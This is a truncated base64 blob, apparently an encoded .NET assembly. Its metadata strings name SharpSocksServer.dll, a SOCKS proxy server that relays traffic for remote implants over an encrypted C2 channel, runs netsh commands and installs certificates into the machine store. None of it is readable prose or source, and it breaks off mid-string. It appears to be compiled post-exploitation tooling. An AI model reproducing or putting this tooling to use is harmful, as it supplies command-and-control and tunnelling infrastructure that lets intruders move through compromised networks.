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AmQcABnsAmQcBBnsAmQchBnsAmQdBBnsAmQdhBnsAmQehBnsAmQcgCHsAmQchCHsAmQdACHsAmQchCXsAmQchCnsAmQdBCnsAmQdhCnsAmQeBCnsAmQehCnsAmQfBCnsAmQcBC3sAmQehC3sAmQdhDHsAmQeADHsAmQegDHsAmQeAEHsAmQegEHsAmQfAEHsAmQfgEHsAmQcAEXsAmQcgEXsAmQdAEXsAmQdgEXsAmQeAEXsAmQegEXsAmQfAEXsAmQfgEXsAmQcgEnsAmQdAEnsAmQfgEnsAmQcAE3sAmQegFHsAmQfAFHsAmQeTALgA1gAkAUkBjgGeAbwBIwJvAs0CGQMwA+cD7wP2AyAELwQ1BEIETQRuBJkEyQT5BBAFFQUvBUMFcQWOBaQFyQXmBQAGEgZnBqoGugbNBtsG4gbyBhMHIwdQB2sHAgABAAYABAAJAAgACgAJAA0AEAAQABEAEQAUABYAFwAXAB0AGAAeABsAHwAAAOwbAQwAAC4cBgwAAFYbCwwAAKweFAwAAI4hGAwAAKodHAwAAPIQIQwAAOwbJwwAAOwbJwwAANMULAwAACggMQwAAEAKFAwAAO4eGAwAACobNwwAAFMFPAwAAFYkFAwAAOEVQAwAAMQLRgwAALAjTAwAAOwbJwwAABIePAwAAKodUQwAAK4EFAwAALYhFAwAAKodFAwAAF4fWwwAAFkjWwwAAN0KFAwAAA0cAQwAAOwbJwwAAOwbJwwCAAEAAwABAAIAAwACAAMABQABAAQABQACAAUABwACABcACQABABgACQACABkACwABABoACwACABsADQABABwADQACAB0ADwABAB4ADwACACAAEQABACEAEQACACcAEwABACgAEwACACkAFQABACoAFQACACsAFwABACwAFwACAC0AGQABAC4AGQACAC8AGwABADAAGwACADIAHQACADMAHwABAE8AIQACAF4AIwACAF8AJQABAGAAJQACAGEAJwACAGIAKQABAGMAKQACAGQAKwABAGUAKwACAGYALQACAIQALwABAIUALwACAIYAMQABAIcAMQACAIgAMwABAIkAMwACAIoANQABAIsANQACAIwANwABAI0ANwACAI4AOQABAI8AOQACAJEAOwABAJIAOwACAJcAPQABAJgAPQACAKUAPwABAKYAPwAnAE8ApwD2ADICOwJRAqcCrgLwAvgCAAMJA6kD1gPfAxMEGgRuBXYFwAVgBgSAAAABAAAAAAAAAAAAAAAAAJQXAAAEAAAAAAAAAAAAAAB5BywEAAAAAAQAAAAAAAAAAAAAAHkHPhIAAAAABAAAAAAAAAAAAAAAeQczFQAAAAAEAAAAAAAAAAAAAAB5B0sLAAAAAAMAAAAAAAAAAAAAAIIHURMAAAAABAAAAAAAAAAAAAAAiwczJQAAAAAAAAAAAQAAAG8ZAAAcAAIAHQACAB4ABAAfAAUAIAAJACEAEQAiABEAIwARACQAFwAlABgAJgAYACkASwAtAHUAKQB7ACkAEgF7ABIBgQASAY0AEgGRABIBkwASAZcAEgEpAKMCgQCOA4EAowKBALkDKQCOAy0AgAUpAIgF6wGjAgECEgGTAEEHAAAAPD5jX19EaXNwbGF5Q2xhc3MxMF8wADw+OV9fMTFfMAA8Z2V0X1N0YXR1cz5iX18xMV8wADw+Y19fRGlzcGxheUNsYXNzMTJfMAA8PjlfXzMyXzAAPGdldF9Db25uZWN0aW9uRGV0YWlscz5iX18zMl8wADw+Y19fRGlzcGxheUNsYXNzMTRfMAA8Q2xvc2VBbGxDb25uZWN0aW9ucz5iX180NF8wADw+Y19fRGlzcGxheUNsYXNzMTZfMAA8UHJvY2Vzc0NvbW1hbmRDaGFuZWxJbXBsYW50TWVzc2FnZT5iX18zOF8wADw+Y19fRGlzcGxheUNsYXNzOV8wADxHZXREZWZhdWx0U2VsZlNpZ25lZENlcnRGcm9tUmVzb3VyY2U+Yl9fMAA8U3RhcnRTb2Nrcz5iX18wADxBY2NlcHRUY3BDbGllbnQ+Yl9fMAA8QWRkQ2VydGlmaWNhdGVUb0lQUG9ydD5iX18wADxDaGVja0lmQ2VydEJvdW5kVG9Qb3J0PmJfXzAATnVsbGFibGVgMQBJRW51bWVyYWJsZWAxAFF1ZXVlYDEAQWN0aW9uYDEATGlzdGAxAFRvVUludDMyAEZ1bmNgMgBEaWN0aW9uYXJ5YDIAWDUwOUNlcnRpZmljYXRlMgBwdWJsaWNLZXliNjQAVG9VSW50MTYAZ2V0X1NoYTI1NgBnZXRfVVRGOAA8PjkAPE1vZHVsZT4AUkVRVUVTVF9SRUpFQ1RFRF9PUl9GQUlMRUQAUkVRVUVTVF9GQUlMRURfU1RSSU5HX05PVF9DT05GSVJNRUQAUkVRVUVTVF9HUkFOVEVEAFJFUVVFU1RfRkFJTEVEX05PX0lERU5URUQAQUREQ0VSVFBBUkFNSU5WQUxJRABUQ1BJUF9QT1JUX0JJTkRJTkcAQnVpbGRFQ0RIAFNoYXJwU29ja3NTZXJ2ZXIuU291cmNlLlRyYW5zcG9ydC5TU0wAVENQSVBfU1RSRUFNX0NPTk5FQ1RJT04AU3lzdGVtLklPAFNoYXJwU29ja3NTZXJ2ZXIuU291cmNlLkhlbHBlci5JUABJc0lQAF90YXJnZXRJUABDRVJURklMRU5PVEZPVU5ERVJST1IAUEFSQU1JU0lOQ09SUkVDVEVSUk9SAEFERENFUlRFUlJPUgBUSU1FQkVUV0VFTlJFQURTAEFERENFUlRTVUNDRVNTAEhFQURFUkxJTUlUAEJBU0VSRUFEVElNRU9VVABTT0NLU0NPTk5FQ1RJT05UT1JFQURUSU1FT1VUAENPTU1BTkRDSEFOTkVMVElNRU9VVABTT0NLU0NPTk5FQ1RJT05UT09QRU5USU1FT1VUAFRPVEFMU09DS0VUVElNRU9VVABnZXRfSVYAc2V0X0lWAEdlbmVyYXRlSVYAdmFsdWVfXwBtc2NvcmxpYgBnZXRfRWNjUHVibGljQmxvYgBzZXRfVmVyYgA8PmMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAc2MAX3RjAGdldF9JZABzZXRfSWQAY29tbWFuZENoYW5uZWxJZABzZXNzaW9uSWQAX3VzZXJJZABfdGFyZ2V0SWQARW5kUmVhZABnZXRfQ2FuUmVhZABCZWdpblJlYWQAVGhyZWFkAGVuY29kZWRFbmNQYXlsb2FkAEVuY3J5cHRQYXlsb2FkAHBheWxvYWQAQWRkAFJpam5kYWVsTWFuYWdlZABBZXNNYW5hZ2VkAGltcGxhbnROb3RpZmllZABJbnRlcmxvY2tlZABDbG9zZWQAZ2V0X0Nvbm5lY3RlZABnZXRfSXNDb21tYW5kQ2hhbm5lbENvbm5lY3RlZABJc0xpc3RlbmVyQ29ubmVjdGVkAFNodXRkb3duUmVjaWV2ZWQAdGFyZ2V0aWQAbGlzdGVuZXJHdWlkAE5ld0d1aWQAPElkPmtfX0JhY2tpbmdGaWVsZAA8UGF5bG9hZENvb2tpZU5hbWU+a19fQmFja2luZ0ZpZWxkADxVcGRhdGVUaW1lPmtfX0JhY2tpbmdGaWVsZAA8TGlzdGVuZXJDb25uZWN0ZWRDYWxsYmFjaz5rX19CYWNraW5nRmllbGQAPF9lbmNyeXB0aW9uPmtfX0JhY2tpbmdGaWVsZAA8U2VydmVyQ29tbXM+a19fQmFja2luZ0ZpZWxkADxfc2VydmVyQ29tbXM+a19fQmFja2luZ0ZpZWxkADxTb2NrZXRDb21tcz5rX19CYWNraW5nRmllbGQAPFN0YXR1cz5rX19CYWNraW5nRmllbGQAPFdhaXRPbkNvbm5lY3Q+a19fQmFja2luZ0ZpZWxkADxUYXJnZXQ+a19fQmFja2luZ0ZpZWxkADxDb21tYW5kTGltaXQ+a19fQmFja2luZ0ZpZWxkADxEYXRhU2VudD5rX19CYWNraW5nRmllbGQAPENtZENoYW5uZWxSdW5uaW5nRXZlbnQ+a19fQmFja2luZ0ZpZWxkADxUYXJnZXRQb3J0PmtfX0JhY2tpbmdGaWVsZAA8SG9zdFBvcnQ+a19fQmFja2luZ0ZpZWxkADxEYXRhUmVjdj5rX19CYWNraW5nRmllbGQAUnVuTmV0U2hDbWQAbmV0U2hDbWQAUmVhZFRvRW5kAFVyaUtpbmQAZ2V0X0h0dHBNZXRob2QAcGFzc3dvcmQASXNOdWxsT3JXaGl0ZVNwYWNlAG1hcFRhcmdldElkVG9Tb2Nrc0luc3RhbmNlAEdldERlZmF1bHRTZWxmU2lnbmVkQ2VydEZyb21SZXNvdXJjZQBTb2NrczRDb21tYW5kQ29kZQBfY29tbWFuZENvZGUAcmVzcG9uZUNvZGUAc3RyRXJyb3JDb2RlAHNldF9TdGF0dXNDb2RlAHNldF9Nb2RlAEZpbGVNb2RlAFBhZGRpbmdNb2RlAENvbXByZXNzaW9uTW9kZQBDaXBoZXJNb2RlAFhOb2RlAFplcm9GcmVlR2xvYmFsQWxsb2NVbmljb2RlAFNlY3VyZVN0cmluZ1RvR2xvYmFsQWxsb2NVbmljb2RlAGdldF9NZXNzYWdlAExvZ01lc3NhZ2UAUHJvY2Vzc0NvbW1hbmRDaGFuZWxJbXBsYW50TWVzc2FnZQBtZXNzYWdlAEFkZFJhbmdlAENvbXBhcmVFeGNoYW5nZQBfZWNEaWZmaWUAQ29va2llAFRha2UAZ2V0X0F2YWlsYWJsZQBnZXRfRGF0YUF2YWlsYWJsZQBFbnVtZXJhYmxlAElEaXNwb3NhYmxlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAEV2ZW50V2FpdEhhbmRsZQBXcml0ZVRvRmlsZQBwZnhGaWxlAENvbnNvbGUAc2V0X1dpbmRvd1N0eWxlAFByb2Nlc3NXaW5kb3dTdHlsZQBYTmFtZQBfc2Vzc2lvbklkTmFtZQBnZXRfUGF5bG9hZENvb2tpZU5hbWUAc2V0X1BheWxvYWRDb29raWVOYW1lAFNlc3Npb25Db29raWVOYW1lAHNlc3Npb25Db29raWVOYW1lAHNldF9GaWxlTmFtZQBTdG9yZU5hbWUAX2RvbWFpbk5hbWUAQ2hlY2tIb3N0TmFtZQBnZXRfU2NoZW1lAERhdGVUaW1lAGdldF9VcGRhdGVUaW1lAHNldF9VcGRhdGVUaW1lAExhc3RVcGRhdGVUaW1lAFByb2Nlc3NDb21tYW5kQ2hhbm5lbFRpbWUAV2FpdE9uZQBSZWFkTGluZQBXcml0ZUxpbmUAQ29tYmluZQBNZW1vcnlQcm90ZWN0aW9uU2NvcGUAVXJpSG9zdE5hbWVUeXBlAFN5c3RlbS5Db3JlAFg1MDlTdG9yZQBSZW1vdmVDZXJ0RnJvbUxNU3RvcmUAQ2hlY2tJZkNlcnRJc0luTE1TdG9yZQBJbXBvcnRDZXJ0SW50b0xNU3RvcmUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAcmVzb3VyY2VDdWx0dXJlAENhcHR1cmUAQnVpbGRTb2NrczRSZXNwb25zZQBnZXRfUmVzcG9uc2UAQnVpbGRTdGFuZGFyZFJlc3BvbnNlAEh0dHBMaXN0ZW5lclJlc3BvbnNlAF92ZXJib3NlAEltcGxhbnRDYWxsZWRDbG9zZQBEaXNwb3NlAFBhcnNlAFJldmVyc2UAWDUwOUNlcnRpZmljYXRlAFRyeUNyZWF0ZQBnZXRfQXN5bmNTdGF0ZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBBc3luY0J1ZmZlclN0YXRlAFdyaXRlAFhBdHRyaWJ1dGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBzZXRfVXNlU2hlbGxFeGVjdXRlAEJ5dGUARGVxdWV1ZQBFbnF1ZXVlAGdldF9WYWx1ZQBnZXRfSGFzVmFsdWUAdmFsdWUAUmVtb3ZlAEluaXRpYWxpemUASW5kZXhPZgBTZXRWZXJib3NlT2ZmAEVDRGlmZmllSGVsbG1hbkNuZwBDdXJyZW50bHlSZWFkaW5nAFN5c3RlbS5UaHJlYWRpbmcAc2V0X1BhZGRpbmcARW5jb2RpbmcAY21kQ2hhbm5lbFJ1bm5pbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAFRvQmFzZTY0U3RyaW5nAFNlY3VyZVN0cmluZwBUb1Nob3J0RGF0ZVN0cmluZwBHZXRDZXJ0SGFzaFN0cmluZwBUb1N0cmluZwBHZXRTdHJpbmcAU3Vic3RyaW5nAENsb3NpbmcAQ29ubmVjdGluZwBCYW5uZXJNZXNnAGVycm9yTWVzZwBtZXNnAENvbW1vbi5FbmNyeXB0aW9uLkRlYnVnAEZvckVhY2gATWF0Y2gAR2V0Q2VydEhhc2gAY2VydEhhc2gARmx1c2gAU3lzdGVtLlhtbC5YUGF0aABMb2dQYXRoAGdldF9MZW5ndGgARW5kc1dpdGgAU3RhcnRzV2l0aABQdHJUb1N0cmluZ1VuaQBzZXJ2ZXJVcmkAc3RyVXJpAFJldHVybkRhdGFDYWxsYmFjawBBc3luY0NhbGxiYWNrAFByb3h5U29ja2V0UmVhZENhbGxiYWNrAGdldF9MaXN0ZW5lckNvbm5lY3RlZENhbGxiYWNrAHNldF9MaXN0ZW5lckNvbm5lY3RlZENhbGxiYWNrAExpc3RlbmVyQ2FsbGJhY2sAVHJhbnNmb3JtRmluYWxCbG9jawBRdWV1ZUNvbW1hbmRUYXNrAHRhc2sATWFyc2hhbABEZXJpdmVLZXlNYXRlcmlhbABTdGFydFNvY2tzSW50ZXJuYWwAU2VxdWVuY2VFcXVhbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAX2NvbW1hbmRDaGFubmVsAFNvY2tzVHVubmVsAFNoYXJwU29ja3NTZXJ2ZXIuZGxsAF9udWxsAEZpbGVTdHJlYW0ARGVmbGF0ZVN0cmVhbQBOZXR3b3JrU3RyZWFtAEdldFN0cmVhbQBnZXRfSW5wdXRTdHJlYW0AZ2V0X091dHB1dFN0cmVhbQBNZW1vcnlTdHJlYW0Ac3RyZWFtAGdldF9JdGVtAFN5c3RlbQBTeW1tZXRyaWNBbGdvcml0aG0AQ25nQWxnb3JpdGhtAHNldF9IYXNoQWxnb3JpdGhtAFRyaW0AUmFuZG9tAElDcnlwdG9UcmFuc2Zvcm0ARW51bQBJc1ZlcmJvc2VPbgBTZXRWZXJib3NlT24AcmVzb3VyY2VNYW4Ab3BfTGVzc1RoYW4ARUNEaWZmaWVIZWxsbWFuAFRpbWVTcGFuAF9sYXN0VGltZUNvbW1hbmRDaGFubmVsU2VlbgBPcGVuAF9vcGVuAGlwVG9MaXN0ZW4AX3ZlcnNpb24ASXNWYWxpZFNlc3Npb24AU3lzdGVtLklPLkNvbXByZXNzaW9uAFN0b3JlTG9jYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbgBTaGFycFNvY2tzU2VydmVyLlNvdXJjZS5JbnRlZ3JhdGlvbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBBY3Rpb24AU3lzdGVtLlJlZmxlY3Rpb24AWDUwOUNlcnRpZmljYXRlMkNvbGxlY3Rpb24AQ29va2llQ29sbGVjdGlvbgBHcm91cENvbGxlY3Rpb24ASHR0cExpc3RlbmVyUHJlZml4Q29sbGVjdGlvbgBLZXlDb2xsZWN0aW9uAENsb3NlVGFyZ2V0Q29ubmVjdGlvbgBOb3RpZnlDb25uZWN0aW9uAHNldF9LZXlEZXJpdmF0aW9uRnVuY3Rpb24ARUNEaWZmaWVIZWxsbWFuS2V5RGVyaXZhdGlvbkZ1bmN0aW9uAE9iamVjdERpc3Bvc2VkRXhjZXB0aW9uAENvbW1vbi5DbGFzc2VzLkVuY3J5cHRpb24AZ2V0X19lbmNyeXB0aW9uAHNldF9fZW5jcnlwdGlvbgBBc2tRdWVzdGlvbgBxdWVzdGlvbgBDb3B5VG8AQ3VsdHVyZUluZm8AUHJvY2Vzc1N0YXJ0SW5mbwBaZXJvAFNsZWVwAFNraXAAU3RvcABHcm91cABTeXN0ZW0uWG1sLkxpbnEAU3lzdGVtLkxpbnEAQ2xlYXIAQXBwZW5kQ2hhcgBpYXIAdHlwZU9mQWRkcgBTb2NrczRTZXJ2ZXJIZWFkZXIAU29ja3M0YVNlcnZlckhlYWRlcgBTb2NrczRDbGllbnRIZWFkZXIAU3RyZWFtUmVhZGVyAFRleHRSZWFkZXIAU3RyaW5nQnVpbGRlcgBCdWZmZXIAYnVmZmVyAGdldF9SZXNvdXJjZU1hbmFnZXIAX2NvbW1hbmRMb2NrZXIAX3NodXRkb3duTG9ja2VyAF9saXN0ZW5lckxvY2tlcgBfZGF0YVRhc2tzTG9ja2VyAF9sb2NrZXIAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIASVNlcnZpY2VDb250cm9sbGVyAFNoYXJwU29ja3NTZXJ2ZXJDb250cm9sbGVyAENyZWF0ZVNvY2tzQ29udHJvbGxlcgBfY29udHJvbGxlcgBIdHRwQXN5bmNMaXN0ZW5lcgBBZGRMaXN0ZW5lcgBDcmVhdGVMaXN0ZW5lcgBUY3BMaXN0ZW5lcgBIdHRwTGlzdGVuZXIAX2xpc3RlbmVyAEVDREhFbmNyeXB0aW9uSGVscGVyAElFbmNyeXB0aW9uSGVscGVyAE5ldHNoV3JhcHBlcgBfbmV0c2hXcmFwcGVyAFN0cmVhbVdyaXRlcgBUZXh0V3JpdGVyAEVudGVyAEJpdENvbnZlcnRlcgBTb2Nrc1NlcnZlci5DbGFzc2VzLlNlcnZlcgBTZW5kVG9TZXJ2ZXIAUFNTb2Nrc1NlcnZlcgBTaGFycFNvY2tzU2VydmVyAFRvTG93ZXIATG9nRXJyb3IARmFpbEVycm9yAENlcnRpZmljYXRlUHJvY2Vzc29yAEVuY3J5cHRlZEMyUmVxdWVzdFByb2Nlc3NvcgBYNTA5Q2VydGlmaWNhdGUyRW51bWVyYXRvcgBHZXRFbnVtZXJhdG9yAC5jdG9yAC5jY3RvcgBNb25pdG9yAENyZWF0ZURlY3J5cHRvcgBEZWJ1Z1NpbXBsZUVuY3J5cHRvcgBDcmVhdGVFbmNyeXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwB0Y3MAU29ja3NUdW5uZWwuSW50ZXJmYWNlcwBDb21tb24uU2VydmVyLkludGVyZmFjZXMAU2hhcnBTb2Nrc1NlcnZlci5Tb3VyY2UuSW1wbGFudENvbW1zSFRUUFNlcnZlci5JbnRlcmZhY2VzAFNoYXJwU29ja3NTZXJ2ZXIuSW1wbGFudENvbW1zSFRUUFNlcnZlci5JbnRlcmZhY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMAU2hhcnBTb2Nrc1NlcnZlci5TaGFycFNvY2tzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBnZXRfQ29va2llcwBTaGFycFNvY2tzU2VydmVyLlNvdXJjZS5VSS5DbGFzc2VzAFNvY2tzVHVubmVsLkNsYXNzZXMAU2hhcnBTb2Nrc1NlcnZlci5TaGFycFNvY2tzU2VydmVyLkNsYXNzZXMAU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5YNTA5Q2VydGlmaWNhdGVzAGdldF9DZXJ0aWZpY2F0ZXMAcmVzcG9uc2VCeXRlcwBHZXRCeXRlcwBnZXRfUHJlZml4ZXMAcHJlZml4ZXMAT3BlbkZsYWdzADw+NF9fdGhpcwBnZXRfVGlja3MAU29ja3NTZXJ2ZXIuQ2xhc3Nlcy5Tb2NrcwBTaGFycFNvY2tzAFN0YXJ0U29ja3MAU3lzdGVtLlRocmVhZGluZy5UYXNrcwBfZGF0YVRhc2tzAFBvcFF1ZXVlQ29tbWFuZFRhc2tzAF9jb21tYW5kVGFza3MAZ2V0X0Nvbm5lY3Rpb25EZXRhaWxzAGdldF9Db21tYW5kQ2hhbm5lbENvbm5lY3Rpb25EZXRhaWxzAG1hcFNlc3Npb25Ub0Nvbm5lY3Rpb25EZXRhaWxzAGlubmVyQ2VydERldGFpbHMAY2VydERldGFpbHMASVB2NFRvb2xzAElQVG9vbHMAX2lwVG9vbHMAbG9nQ29tbXMASUltcGxhbnRTb2NrQ29tbXMAU2hhcnBTb2Nrc1NlcnZlci5TZXJ2ZXJDb21tcwBnZXRfU2VydmVyQ29tbXMAc2V0X1NlcnZlckNvbW1zAGdldF9fc2VydmVyQ29tbXMAc2V0X19zZXJ2ZXJDb21tcwBnZXRfU29ja2V0Q29tbXMAc2V0X1NvY2tldENvbW1zAElTb2Nrc0ltcGxhbnRDb21tcwBzY29tbXMARG5zAENvbnRhaW5zAEV4dGVuc2lvbnMAU3lzdGVtLlRleHQuUmVndWxhckV4cHJlc3Npb25zAENsb3NlQWxsQ29ubmVjdGlvbnMAU3RyaW5nU3BsaXRPcHRpb25zAFVyaVNjaGVtZUh0dHBzAGdldF9Hcm91cHMAZ2V0X0NoYXJzAFByb2Nlc3NTb2Nrc0hlYWRlcnMAX2xpc3RlbmVycwBGaWxlQWNjZXNzAGdldF9TdWNjZXNzAFByb2Nlc3MAR2V0SVBBZGRyZXNzAFN5c3RlbS5OZXQuU29ja2V0cwBTb2Nrc1R1bm5lbC5Db25zdGFudHMAWFBhdGhTZWxlY3RFbGVtZW50cwBzZXRfQXJndW1lbnRzAEV4aXN0cwBnZXRfU3RhdHVzAHNldF9TdGF0dXMAU29ja3M0Q2xpZW50SGVhZGVyU3RhdHVzAExpc3RlbmVyU3RhdHVzAHN0YXR1cwBnZXRfS2V5cwBDb25jYXQAQ25nS2V5QmxvYkZvcm1hdABTdWJ0cmFjdABQU09iamVjdABHZXRPYmplY3QAU2VsZWN0AGdldF9XYWl0T25Db25uZWN0AHNldF9XYWl0T25Db25uZWN0AF93YWl0T25Db25uZWN0AFByb3RlY3QAVW5wcm90ZWN0AFN5c3RlbS5OZXQAU2V0AGdldF9UYXJnZXQAc2V0X1RhcmdldABXcml0ZVBheWxvYWRCYWNrVG9Tb2Nrc0Zyb21UYXJnZXQAQ3JlYXRlTmV3Q29ubmVjdGlvblRhcmdldABTZW5kRGF0YVRvVGFyZ2V0AHRhcmdldABTb2NrZXQAUmVzZXQAb3BfSW1wbGljaXQAU3BsaXQAZ2V0X0NvbW1hbmRMaW1pdABzZXRfQ29tbWFuZExpbWl0AGNvbW1hbmRMaW1pdABFeGl0AElBc3luY1Jlc3VsdAByZXN1bHQAX2FyYml0cmFyeUludABTdGFydENvbW1zV2l0aFByb3h5QW5kSW1wbGFudABnZXRfRGF0YVNlbnQAc2V0X0RhdGFTZW50AF9kYXRhU2VudABnZXRfQ2xpZW50AFNodXRkb3duQ2xpZW50AFdyaXRlUmVzcG9uc2VCYWNrVG9DbGllbnQARW5kQWNjZXB0VGNwQ2xpZW50AEJlZ2luQWNjZXB0VGNwQ2xpZW50AFhFbGVtZW50AFhQYXRoU2VsZWN0RWxlbWVudABEZWNyZW1lbnQAWERvY3VtZW50AGdldF9DdXJyZW50AGdldF9DbWRDaGFubmVsUnVubmluZ0V2ZW50AHNldF9DbWRDaGFubmVsUnVubmluZ0V2ZW50AE1hbnVhbFJlc2V0RXZlbnQAQXV0b1Jlc2V0RXZlbnQAVGltZW91dEV2ZW50AGdldF9SZW1vdGVFbmRQb2ludABnZXRfTG9jYWxFbmRwb2ludABnZXRfQ291bnQAbmV0c2hPdXRwdABEZWNyeXB0AEVuY3J5cHQAVHJpbVN0YXJ0AHNlcnZlckNlcnQAZGVmYXVsdENlcnQAeDUwOWNlcnQAQ29udmVydABSZW1vdmVDZXJ0RnJvbUlQUG9ydABBZGRDZXJ0aWZpY2F0ZVRvSVBQb3J0AEFkZENlcnRpZmljYXRlRnJvbVBmeFRvSVBQb3J0AE1hdGNoSXNJUFBvcnQAZ2V0X1BvcnQAbG9jYWxQb3J0AENoZWNrSWZDZXJ0Qm91bmRUb1BvcnQAaXBQb3J0AFNvY2tzUG9ydABnZXRfVGFyZ2V0UG9ydABzZXRfVGFyZ2V0UG9ydABfdGFyZ2V0UG9ydABnZXRfSG9zdFBvcnQAc2V0X0hvc3RQb3J0AF9hcmJpdHJhcnlTaG9ydABfcG9ydABnZXRfUmVxdWVzdABIdHRwTGlzdGVuZXJSZXF1ZXN0AElQcm9jZXNzUmVxdWVzdABfaXByb2Nlc3NSZXF1ZXN0AFRvTGlzd